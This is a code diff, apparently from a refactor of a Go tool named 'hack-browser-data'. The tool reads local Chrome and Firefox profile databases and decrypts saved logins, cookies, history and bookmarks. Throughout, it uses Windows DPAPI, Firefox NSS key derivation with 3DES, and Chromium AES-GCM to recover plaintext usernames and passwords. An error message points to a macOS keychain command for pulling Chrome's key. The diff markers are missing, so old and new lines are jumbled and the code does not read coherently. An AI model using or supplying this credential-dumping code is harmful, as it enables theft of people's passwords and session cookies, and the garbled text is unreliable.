Host: host,
Path: path,
encryptValue: encryptValue,
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHTTPOnly),
HasExpire: utils.IntToBool(hasExpire),
IsPersistent: utils.IntToBool(isPersistent),
CreateDate: utils.TimeEpochFormat(createDate),
ExpireDate: utils.TimeEpochFormat(expireDate),
}
FullData.HistorySlice = historyList
// remove prefix 'v10'
if secretKey == nil {
value, err = decrypt.DPApi(encryptValue)
} else {
value, err = decrypt.ChromePass(secretKey, encryptValue)
}
func getBookmarkChildren(value gjson.Result) (children gjson.Result) {
b := bookmarks{}
b.ID = value.Get(bookmarkID).Int()
nodeType := value.Get(bookmarkType)
b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
b.URL = value.Get(bookmarkUrl).String()
b.Name = value.Get(bookmarkName).String()
children = value.Get(bookmarkChildren)
if nodeType.Exists() {
b.Type = nodeType.String()
bookmarkList = append(bookmarkList, b)
if children.Exists() && children.IsArray() {
for _, v := range children.Array() {
children = getBookmarkChildren(v)
}
cookie.Value = string(value)
if _, ok := c.cookies[host]; ok {
c.cookies[host] = append(c.cookies[host], cookie)
} else {
c.cookies[host] = []cookies{cookie}
}
}
return children
return nil
}
var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
func (h *History) FirefoxParse() error {
var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places`
// places.sqlite doc @https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Places/Database
func parseFirefoxData() {
var historyList HistorySlice
var (
err error
keyDB *sql.DB
bookmarkRows, historyRows *sql.Rows
historyRows *sql.Rows
tempMap map[int64]string
bookmarkUrl string
)
tempMap = make(map[int64]string)
keyDB, err = sql.Open("sqlite3", utils.FirefoxData)
keyDB, err = sql.Open("sqlite3", FirefoxData)
if err != nil {
log.Error(err)
return err
}
defer func() {
if err := os.Remove(utils.FirefoxData); err != nil {
if err := os.Remove(FirefoxData); err != nil {
log.Error(err)
}
}()
@ -332,14 +330,11 @@ func parseFirefoxData() {
log.Error(err)
}
}()
if err != nil {
log.Error(err)
}
historyRows, err = keyDB.Query(queryFirefoxHistory)
if err != nil {
log.Error(err)
return err
}
defer func() {
if err := historyRows.Close(); err != nil {
log.Error(err)
@ -352,7 +347,7 @@ func parseFirefoxData() {
visitCount int
)
err = historyRows.Scan(&id, &url, &title, &visitDate, &visitCount)
historyList = append(historyList, history{
h.history = append(h.history, history{
Title: title,
Url: url,
VisitCount: visitCount,
@ -360,8 +355,28 @@ func parseFirefoxData() {
})
tempMap[id] = url
}
FullData.HistorySlice = historyList
return nil
}
func (b *Bookmarks) FirefoxParse() error {
var (
err error
keyDB *sql.DB
bookmarkRows *sql.Rows
tempMap map[int64]string
bookmarkUrl string
)
var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
keyDB, err = sql.Open("sqlite3", FirefoxData)
if err != nil {
log.Error(err)
return err
}
defer func() {
if err := os.Remove(FirefoxData); err != nil {
log.Error(err)
}
}()
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
defer func() {
if err := bookmarkRows.Close(); err != nil {
@ -377,7 +392,7 @@ func parseFirefoxData() {
if url, ok := tempMap[id]; ok {
bookmarkUrl = url
}
bookmarkList = append(bookmarkList, bookmarks{
b.bookmarks = append(b.bookmarks, bookmark{
ID: id,
Name: title,
Type: utils.BookMarkType(bType),
@ -385,195 +400,192 @@ func parseFirefoxData() {
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
})
}
FullData.BookmarkSlice = bookmarkList
return nil
}
var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
var queryNssPrivate = `SELECT a11, a102 from nssPrivate`
var queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
func GetDecryptKey() (b [][]byte) {
var (
err error
keyDB *sql.DB
pwdRows *sql.Rows
nssRows *sql.Rows
)
defer func() {
if err := os.Remove(utils.FirefoxKey4DB); err != nil {
log.Error(err)
}
}()
keyDB, err = sql.Open("sqlite3", utils.FirefoxKey4DB)
defer func() {
if err := keyDB.Close(); err != nil {
log.Error(err)
}
}()
func (c *Cookies) FirefoxParse() error {
cookie := cookies{}
c.cookies = make(map[string][]cookies)
cookieDB, err := sql.Open("sqlite3", FirefoxCookie)
if err != nil {
log.Debug(err)
return err
}
err = keyDB.Ping()
pwdRows, err = keyDB.Query(queryPassword)
defer func() {
if err := pwdRows.Close(); err != nil {
if err := os.Remove(FirefoxCookie); err != nil {
log.Debug(err)
}
}()
for pwdRows.Next() {
var (
item1, item2 []byte
)
if err := pwdRows.Scan(&item1, &item2); err != nil {
log.Error(err)
continue
}
b = append(b, item1, item2)
defer func() {
if err := cookieDB.Close(); err != nil {
log.Debug(err)
}
}()
err = cookieDB.Ping()
rows, err := cookieDB.Query(queryFirefoxCookie)
if err != nil {
log.Error(err)
return err
}
nssRows, err = keyDB.Query(queryNssPrivate)
defer func() {
if err := nssRows.Close(); err != nil {
if err := rows.Close(); err != nil {
log.Debug(err)
}
}()
for nssRows.Next() {
for rows.Next() {
var (
a11, a102 []byte
name, value, host, path string
isSecure, isHttpOnly int
creationTime, expiry int64
)
if err := nssRows.Scan(&a11, &a102); err != nil {
log.Debug(err)
err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
cookie = cookies{
KeyName: name,
Host: host,
Path: path,
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHttpOnly),
CreateDate: utils.TimeStampFormat(creationTime / 1000000),
ExpireDate: utils.TimeStampFormat(expiry),
}
cookie.Value = value
if _, ok := c.cookies[host]; ok {
c.cookies[host] = append(c.cookies[host], cookie)
} else {
c.cookies[host] = []cookies{cookie}
}
b = append(b, a11, a102)
}
return b
return nil
}
func parseFirefoxKey4() {
h1 := GetDecryptKey()
globalSalt := h1[0]
metaBytes := h1[1]
nssA11 := h1[2]
nssA102 := h1[3]
func (l *Logins) FirefoxParse() error {
globalSalt, metaBytes, nssA11, nssA102, err := getDecryptKey()
if err != nil {
log.Error(err)
return err
}
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
meta, err := utils.DecodeMeta(metaBytes)
meta, err := decrypt.DecodeMeta(metaBytes)
if err != nil {
log.Error("decrypt meta data failed", err)
return
return err
}
var masterPwd []byte
m, err := utils.DecryptMeta(globalSalt, masterPwd, meta)
m, err := decrypt.Meta(globalSalt, masterPwd, meta)
if err != nil {
log.Error("decrypt firefox failed", err)
return
return err
}
if bytes.Contains(m, []byte("password-check")) {
log.Debugf("password-check success")
m := bytes.Compare(nssA102, keyLin)
if m == 0 {
nss, err := utils.DecodeNss(nssA11)
nss, err := decrypt.DecodeNss(nssA11)
if err != nil {
log.Error(err)
return
return err
}
log.Debugf("decrypt asn1 pbe success")
finallyKey, err := utils.DecryptNss(globalSalt, masterPwd, nss)
finallyKey, err := decrypt.Nss(globalSalt, masterPwd, nss)
finallyKey = finallyKey[:24]
if err != nil {
log.Error(err)
return
return err
}
log.Debug("get firefox finally key success")
allLogins, err := getLoginData()
if err != nil {
return err
}
log.Debugf("finally key", finallyKey, hex.EncodeToString(finallyKey))
allLogins := GetLoginData()
for _, v := range allLogins {
log.Debug(hex.EncodeToString(v.encryptUser))
user, _ := utils.DecodeLogin(v.encryptUser)
log.Debug(hex.EncodeToString(v.encryptPass))
pwd, _ := utils.DecodeLogin(v.encryptPass)
log.Debug(user, user.CipherText, user.Encrypted, user.Iv)
u, err := utils.Des3Decrypt(finallyKey, user.Iv, user.Encrypted)
user, _ := decrypt.DecodeLogin(v.encryptUser)
pwd, _ := decrypt.DecodeLogin(v.encryptPass)
u, err := decrypt.Des3Decrypt(finallyKey, user.Iv, user.Encrypted)
if err != nil {
log.Error(err)
return
return err
}
p, err := utils.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted)
log.Debug("decrypt firefox success")
p, err := decrypt.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted)
if err != nil {
log.Error(err)
return
return err
}
FullData.LoginDataSlice = append(FullData.LoginDataSlice, loginData{
l.logins = append(l.logins, loginData{
LoginUrl: v.LoginUrl,
UserName: string(utils.PKCS5UnPadding(u)),
Password: string(utils.PKCS5UnPadding(p)),
UserName: string(decrypt.PKCS5UnPadding(u)),
Password: string(decrypt.PKCS5UnPadding(p)),
CreateDate: v.CreateDate,
})
}
}
}
return nil
}
var queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
func parseFirefoxCookie() {
cookie := cookies{}
cookieMap := make(map[string][]cookies)
cookieDB, err := sql.Open("sqlite3", utils.FirefoxCookie)
func getDecryptKey() (item1, item2, a11, a102 []byte, err error) {
var (
keyDB *sql.DB
pwdRows *sql.Rows
nssRows *sql.Rows
)
defer func() {
if err := os.Remove(utils.FirefoxCookie); err != nil {
log.Debug(err)
if err := os.Remove(utils.FirefoxKey4DB); err != nil {
log.Error(err)
}
}()
keyDB, err = sql.Open("sqlite3", utils.FirefoxKey4DB)
defer func() {
if err := cookieDB.Close(); err != nil {
log.Debug(err)
if err := keyDB.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Debug(err)
}
err = cookieDB.Ping()
rows, err := cookieDB.Query(queryFirefoxCookie)
var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
var queryNssPrivate = `SELECT a11, a102 from nssPrivate`
err = keyDB.Ping()
pwdRows, err = keyDB.Query(queryPassword)
defer func() {
if err := rows.Close(); err != nil {
if err := pwdRows.Close(); err != nil {
log.Debug(err)
}
}()
for rows.Next() {
var (
name, value, host, path string
isSecure, isHttpOnly int
creationTime, expiry int64
)
err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
cookie = cookies{
KeyName: name,
Host: host,
Path: path,
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHttpOnly),
CreateDate: utils.TimeStampFormat(creationTime / 1000000),
ExpireDate: utils.TimeStampFormat(expiry),
for pwdRows.Next() {
if err := pwdRows.Scan(&item1, &item2); err != nil {
log.Error(err)
continue
}
cookie.Value = value
if _, ok := cookieMap[host]; ok {
cookieMap[host] = append(cookieMap[host], cookie)
} else {
cookieMap[host] = []cookies{cookie}
}
if err != nil {
log.Error(err)
}
FullData.CookieMap = cookieMap
nssRows, err = keyDB.Query(queryNssPrivate)
defer func() {
if err := nssRows.Close(); err != nil {
log.Debug(err)
}
}()
for nssRows.Next() {
if err := nssRows.Scan(&a11, &a102); err != nil {
log.Debug(err)
}
}
return item1, item2, a11, a102, nil
}
func GetLoginData() (l []loginData) {
s, err := ioutil.ReadFile(utils.FirefoxLoginData)
func getLoginData() (l []loginData, err error) {
s, err := ioutil.ReadFile(FirefoxLoginData)
if err != nil {
log.Warn(err)
return nil, err
}
defer func() {
if err := os.Remove(utils.FirefoxLoginData); err != nil {
if err := os.Remove(FirefoxLoginData); err != nil {
log.Error(err)
}
}()
@ -599,3 +611,32 @@ func GetLoginData() (l []loginData) {
}
return
}
func (b *BrowserData) Sorted() {
sort.Slice(b.bookmarks, func(i, j int) bool {
return b.bookmarks[i].ID < b.bookmarks[j].ID
})
sort.Slice(b.history, func(i, j int) bool {
return b.history[i].VisitCount > b.history[j].VisitCount
})
sort.Sort(b.Logins)
}
func (l Logins) Len() int {
return len(l.logins)
}
func (l Logins) Less(i, j int) bool {
return l.logins[i].CreateDate.After(l.logins[j].CreateDate)
}
func (l Logins) Swap(i, j int) {
l.logins[i], l.logins[j] = l.logins[j], l.logins[i]
}
type Formatter interface {
ChromeParse(key []byte) error
FirefoxParse() error
OutPutJson(browser, dir string) error
OutPutCsv(browser, dir string) error
}

@ -0,0 +1,85 @@
package decrypt
import (
"crypto/aes"
"crypto/cipher"
"crypto/des"
"encoding/asn1"
"errors"
"hack-browser-data/log"
)
var (
errKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
errPasswordIsEmpty = errors.New("password is empty")
errDecryptFailed = errors.New("decrypt failed, password is empty")
)
func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return []byte{}, err
}
dst := make([]byte, len(encryptPass))
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(dst, encryptPass)
dst = PKCS5UnPadding(dst)
return dst, nil
}
func PKCS5UnPadding(src []byte) []byte {
length := len(src)
unpad := int(src[length-1])
return src[:(length - unpad)]
}
func Des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
log.Error(err)
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, iv)
sq := make([]byte, len(src))
blockMode.CryptBlocks(sq, src)
return sq, nil
}
func PaddingZero(s []byte, l int) []byte {
h := l - len(s)
if h <= 0 {
return s
} else {
for i := len(s); i < l; i++ {
s = append(s, 0)
}
return s
}
}
/*
SEQUENCE (3 elem)
OCTET STRING (16 byte)
SEQUENCE (2 elem)
OBJECT IDENTIFIER 1.2.840.113549.3.7 des-EDE3-CBC (RSADSI encryptionAlgorithm)
OCTET STRING (8 byte)
OCTET STRING (16 byte)
*/
type LoginPBE struct {
CipherText []byte
SequenceLogin
Encrypted []byte
}
type SequenceLogin struct {
asn1.ObjectIdentifier
Iv []byte
}
func DecodeLogin(decodeItem []byte) (pbe LoginPBE, err error) {
_, err = asn1.Unmarshal(decodeItem, &pbe)
if err != nil {
log.Error(err)
return
}
return pbe, nil
}

@ -0,0 +1,115 @@
package decrypt
import (
"crypto/hmac"
"crypto/sha1"
"encoding/asn1"
"hack-browser-data/log"
)
var (
chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
)
func ChromePass(key, encryptPass []byte) ([]byte, error) {
if len(encryptPass) > 3 {
if len(key) == 0 {
return nil, errKeyIsEmpty
}
m, err := aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
return m, err
} else {
return nil, errDecryptFailed
}
}
/*
SEQUENCE (2 elem)
SEQUENCE (2 elem)
OBJECT IDENTIFIER
SEQUENCE (2 elem)
OCTET STRING (20 byte)
INTEGER 1
OCTET STRING (16 byte)
*/
type NssPBE struct {
SequenceA
Encrypted []byte
}
type MetaPBE struct {
SequenceA
Encrypted []byte
}
type SequenceA struct {
DecryptMethod asn1.ObjectIdentifier
SequenceB
}
type SequenceB struct {
EntrySalt []byte
Len int
}
func DecodeMeta(metaBytes []byte) (pbe MetaPBE, err error) {
_, err = asn1.Unmarshal(metaBytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func DPApi(data []byte) ([]byte, error) {
return nil, nil
}
func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) {
_, err = asn1.Unmarshal(nssA11Bytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func decryptPBE(globalSalt, masterPwd, entrySalt, encrypted []byte) ([]byte, error) {
//byte[] GLMP; // GlobalSalt + MasterPassword
//byte[] HP; // SHA1(GLMP)
//byte[] HPES; // HP + EntrySalt
//byte[] CHP; // SHA1(HPES)
//byte[] PES; // EntrySalt completed to 20 bytes by zero
//byte[] PESES; // PES + EntrySalt
//byte[] k1;
//byte[] tk;
//byte[] k2;
//byte[] k; // final value conytaining key and iv
glmp := append(globalSalt, masterPwd...)
hp := sha1.Sum(glmp)
s := append(hp[:], entrySalt...)
chp := sha1.Sum(s)
pes := PaddingZero(entrySalt, 20)
tk := hmac.New(sha1.New, chp[:])
tk.Write(pes)
pes = append(pes, entrySalt...)
k1 := hmac.New(sha1.New, chp[:])
k1.Write(pes)
tkPlus := append(tk.Sum(nil), entrySalt...)
k2 := hmac.New(sha1.New, chp[:])
k2.Write(tkPlus)
k := append(k1.Sum(nil), k2.Sum(nil)...)
iv := k[len(k)-8:]
key := k[:24]
log.Debug("get firefox pbe key and iv success")
return Des3Decrypt(key, iv, encrypted)
}

@ -1,4 +1,4 @@
package utils
package decrypt
import (
"crypto/hmac"
@ -7,7 +7,6 @@ import (
"encoding/asn1"
"encoding/hex"
"hack-browser-data/log"
"strings"
"golang.org/x/crypto/pbkdf2"
)
@ -18,53 +17,24 @@ const (
)
var (
iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
command = []string{"security", "find-generic-password", "-wa"}
chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
chromeSalt = []byte("saltysalt")
chromeKey []byte
browserList = map[string]struct {
ProfilePath string
Command string
}{
"firefox": {
fireFoxProfilePath,
fireFoxCommand,
},
}
)
func InitKey(string) error {
return nil
}
func DecryptStringWithDPAPI(data []byte) (string, error) {
return string(data), nil
}
func PickBrowser(name string) (browserDir, command string, err error) {
name = strings.ToLower(name)
if choice, ok := browserList[name]; ok {
return choice.ProfilePath, choice.Command, err
}
return "", "", errBrowserNotSupported
}
func decryptChromeKey(chromePass []byte) {
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
}
func DecryptChromePass(encryptPass []byte) (string, error) {
func ChromePass(key, encryptPass []byte) ([]byte, error) {
if len(encryptPass) > 3 {
if len(chromeKey) == 0 {
return "", errKeyIsEmpty
if len(key) == 0 {
return nil, errKeyIsEmpty
}
m, err := aes128CBCDecrypt(chromeKey, iv, encryptPass[3:])
return string(m), err
m, err := aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
return m, err
} else {
return "", &DecryptError{
err: errPasswordIsEmpty,
return nil, errDecryptFailed
}
}
func DPApi(data []byte) ([]byte, error) {
return nil, nil
}
/*
@ -146,11 +116,11 @@ func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) {
return
}
func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
return decryptMeta(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
return decryptNss(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize)
}

@ -1,4 +1,4 @@
package utils
package decrypt
import (
"crypto/aes"
@ -6,18 +6,12 @@ import (
"crypto/sha1"
"crypto/sha256"
"encoding/asn1"
"encoding/base64"
"encoding/hex"
"errors"
"hack-browser-data/log"
"os"
"strings"
"syscall"
"unsafe"
"golang.org/x/crypto/pbkdf2"
"github.com/tidwall/gjson"
)
const (
@ -34,8 +28,6 @@ const (
)
var (
chromeKey []byte
browserList = map[string]struct {
ProfilePath string
KeyPath string
@ -63,84 +55,48 @@ var (
}
)
func PickBrowser(name string) (browserDir, key string, err error) {
name = strings.ToLower(name)
if choice, ok := browserList[name]; ok {
if choice.KeyPath != "" {
return os.Getenv("USERPROFILE") + choice.ProfilePath, os.Getenv("USERPROFILE") + choice.KeyPath, nil
} else {
return os.Getenv("USERPROFILE") + choice.ProfilePath, "", nil
}
}
return "", "", errBrowserNotSupported
}
var (
errBase64DecodeFailed = errors.New("decode base64 failed")
)
func InitKey(key string) error {
if key == "" {
VersionUnder80 = true
return nil
}
keyFile, err := ReadFile(key)
if err != nil {
return err
}
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return errBase64DecodeFailed
}
chromeKey, err = decryptStringWithDPAPI(pureKey[5:])
return nil
} else {
VersionUnder80 = true
return nil
}
}
func DecryptChromePass(encryptPass []byte) (string, error) {
func ChromePass(encryptPass, key []byte) ([]byte, error) {
if len(encryptPass) > 15 {
// remove prefix 'v10'
return aesGCMDecrypt(encryptPass[15:], chromeKey, encryptPass[3:15])
return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
} else {
return "", errPasswordIsEmpty
return nil, errPasswordIsEmpty
}
}
// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) {
func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
return nil, err
}
blockMode, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
origData, err := blockMode.Open(nil, nounce, crypted, nil)
if err != nil {
return "", err
return nil, err
}
return string(origData), nil
return origData, nil
}
type DataBlob struct {
type dataBlob struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DataBlob {
func NewBlob(d []byte) *dataBlob {
if len(d) == 0 {
return &DataBlob{}
return &dataBlob{}
}
return &DataBlob{
return &dataBlob{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DataBlob) ToByteArray() []byte {
func (b *dataBlob) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
@ -152,7 +108,7 @@ func decryptStringWithDPAPI(data []byte) ([]byte, error) {
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
procLocalFree := dllKernel.NewProc("LocalFree")
var outBlob DataBlob
var outBlob dataBlob
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
if r == 0 {
return nil, err
@ -161,18 +117,18 @@ func decryptStringWithDPAPI(data []byte) ([]byte, error) {
return outBlob.ToByteArray(), nil
}
func DecryptStringWithDPAPI(data []byte) (string, error) {
func DPApi(data []byte) ([]byte, error) {
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
procLocalFree := dllKernel.NewProc("LocalFree")
var outBlob DataBlob
var outBlob dataBlob
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
if r == 0 {
return "", err
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
return string(outBlob.ToByteArray()), nil
return outBlob.ToByteArray(), nil
}
type NssPBE struct {
@ -233,11 +189,11 @@ func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) {
return
}
func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
return decryptMeta(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize)
}
func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
return decryptMeta(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize)
}

@ -1,156 +0,0 @@
package core
import (
"bytes"
"encoding/json"
"fmt"
"hack-browser-data/log"
"hack-browser-data/utils"
"os"
"sort"
"github.com/jszwec/csvutil"
)
var utf8Bom = []byte{239, 187, 191}
func (b BrowserData) OutPutCsv(dir, browser, format string) error {
switch {
case len(b.BookmarkSlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(b.BookmarkSlice)
file.Write(data)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename)
fallthrough
case len(b.LoginDataSlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.LoginData, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(b.LoginDataSlice)
file.Write(data)
fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename)
fallthrough
case len(b.CookieMap) != 0:
filename := utils.FormatFileName(dir, browser, utils.Cookies, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
var tempSlice []cookies
for _, v := range b.CookieMap {
tempSlice = append(tempSlice, v...)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(tempSlice)
file.Write(data)
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename)
fallthrough
case len(b.HistorySlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.History, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(b.HistorySlice)
file.Write(data)
fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.HistorySlice), filename)
}
return nil
}
func (b BrowserData) OutPutJson(dir, browser, format string) error {
switch {
case len(b.BookmarkSlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
enc.Encode(b.BookmarkSlice)
file.Write(w.Bytes())
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename)
fallthrough
case len(b.CookieMap) != 0:
filename := utils.FormatFileName(dir, browser, utils.Cookies, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.CookieMap)
if err != nil {
log.Debug(err)
}
file.Write(w.Bytes())
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename)
fallthrough
case len(b.HistorySlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.History, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.HistorySlice)
if err != nil {
log.Debug(err)
}
file.Write(w.Bytes())
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(b.HistorySlice), filename)
fallthrough
case len(b.LoginDataSlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.LoginData, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.LoginDataSlice)
if err != nil {
log.Debug(err)
}
file.Write(w.Bytes())
fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename)
}
return nil
}
func (b BrowserData) Sorted() {
sort.Slice(b.BookmarkSlice, func(i, j int) bool {
return b.BookmarkSlice[i].ID < b.BookmarkSlice[j].ID
})
sort.Slice(b.HistorySlice, func(i, j int) bool {
return b.HistorySlice[i].VisitCount > b.HistorySlice[j].VisitCount
})
sort.Sort(b.LoginDataSlice)
}

@ -1,13 +0,0 @@
package core
func (l LoginDataSlice) Len() int {
return len(l)
}
func (l LoginDataSlice) Less(i, j int) bool {
return l[i].CreateDate.After(l[j].CreateDate)
}
func (l LoginDataSlice) Swap(i, j int) {
l[i], l[j] = l[j], l[i]
}

@ -5,7 +5,6 @@ import (
"crypto/cipher"
"crypto/des"
"encoding/asn1"
"errors"
"fmt"
"hack-browser-data/log"
"io/ioutil"
@ -16,13 +15,6 @@ import (
"time"
)
var (
errPasswordIsEmpty = errors.New("decrypt failed, password is empty")
errBrowserNotSupported = errors.New("browser not supported")
errKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
VersionUnder80 bool
)
type DecryptError struct {
err error
msg string
@ -53,13 +45,6 @@ const (
FirefoxKey3DB = "key3.db"
)
func ListBrowser() []string {
var l []string
for k := range browserList {
l = append(l, k)
}
return l
}
func GetDBPath(dir string, dbName ...string) (dbFile []string) {
for _, v := range dbName {
